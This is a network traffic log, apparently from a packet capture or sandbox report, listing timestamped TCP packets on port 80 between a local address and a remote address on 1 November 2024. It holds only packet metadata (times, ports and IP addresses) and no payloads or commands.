Nov 1, 2024 10:57:10.467160940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467170000 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467221975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467242002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467252970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467261076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467278004 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467303038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467482090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467525959 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467583895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467592955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467601061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467609882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467619896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467623949 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467636108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467647076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467650890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467655897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467668056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467672110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467686892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467694044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467696905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467705011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467709064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467729092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467735052 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467747927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467751026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467761040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.467788935 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467799902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.467998028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468014956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468023062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468040943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468051910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468066931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468110085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468120098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468133926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468143940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468149900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468153954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468168974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468178988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468185902 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468211889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468298912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468310118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468317986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468344927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468368053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468369007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468379021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468389034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468404055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468419075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468425035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468482971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468524933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468555927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468571901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468581915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468595028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468602896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468619108 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468673944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468713999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468751907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468761921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468770981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468800068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468811989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468812943 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468823910 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468849897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468861103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.468976974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.468993902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469003916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469019890 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469032049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469049931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469065905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469075918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469079971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469089031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469119072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469142914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469152927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469161987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469187021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469197989 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469237089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469247103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469260931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469270945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469281912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469285011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469295979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469305992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469312906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469338894 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469341040 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469350100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469377995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469388962 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469408035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469418049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469427109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469434977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469444990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469453096 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469455957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.469475985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.469485998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470004082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470026016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470035076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470046043 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470071077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470165968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470180988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470190048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470206976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470232010 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470261097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470271111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470278978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470288038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470297098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470300913 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470320940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470340967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470343113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470351934 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470361948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470376968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470388889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470628023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470659971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470669985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470669985 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470694065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470705986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470798016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470808029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470817089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470827103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470835924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470838070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470869064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470869064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470891953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470902920 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.470931053 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.470942974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471005917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471016884 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471021891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471025944 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471035004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471045017 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471055031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471055031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471066952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471080065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471082926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471087933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471097946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471107006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471107960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471117973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471128941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471136093 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471138954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471149921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471155882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471158981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471170902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471178055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471179962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471190929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471191883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471196890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471204042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471215010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471215963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471224070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471235037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471235037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471249104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471257925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471260071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471277952 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471299887 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471303940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471321106 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471329927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471343994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471366882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471368074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471379042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471389055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471402884 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471424103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471462965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471472979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471498966 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471519947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.471963882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471981049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.471990108 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472011089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472023964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472031116 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472095966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472135067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472137928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472146034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472177029 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472191095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472198009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472212076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472223043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472234011 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472234011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472243071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472248077 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472259998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472265005 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472270012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472279072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472286940 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472290039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472301960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472309113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472311020 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472337008 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472351074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472441912 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472481966 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472487926 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472496033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472501040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472508907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472522974 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472547054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472610950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472620964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472630024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472650051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472665071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472676992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472688913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472713947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472723007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472740889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472750902 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472758055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472768068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472776890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472784996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472809076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472836971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472851038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472860098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472870111 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.472881079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.472904921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473104954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473146915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473175049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473186970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473195076 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473215103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473242044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473248005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473258018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473265886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473274946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473284006 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473284960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473305941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473309994 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473330021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473351955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473417044 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473428011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473432064 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473438978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473443985 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473453999 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473463058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473472118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473475933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473483086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.473500013 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.473649979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492155075 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492166042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492175102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492199898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492213964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492228031 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492230892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492254019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492264986 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492592096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492633104 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492650986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492662907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492674112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492687941 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492701054 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492755890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492767096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492782116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492791891 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492793083 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492803097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492805958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492821932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492835999 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492839098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492851973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492863894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492883921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492908001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.492960930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492973089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492981911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.492993116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493005037 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493029118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.493032932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.493043900 CET	80	49820	31.41.244.11	192.168.2.4
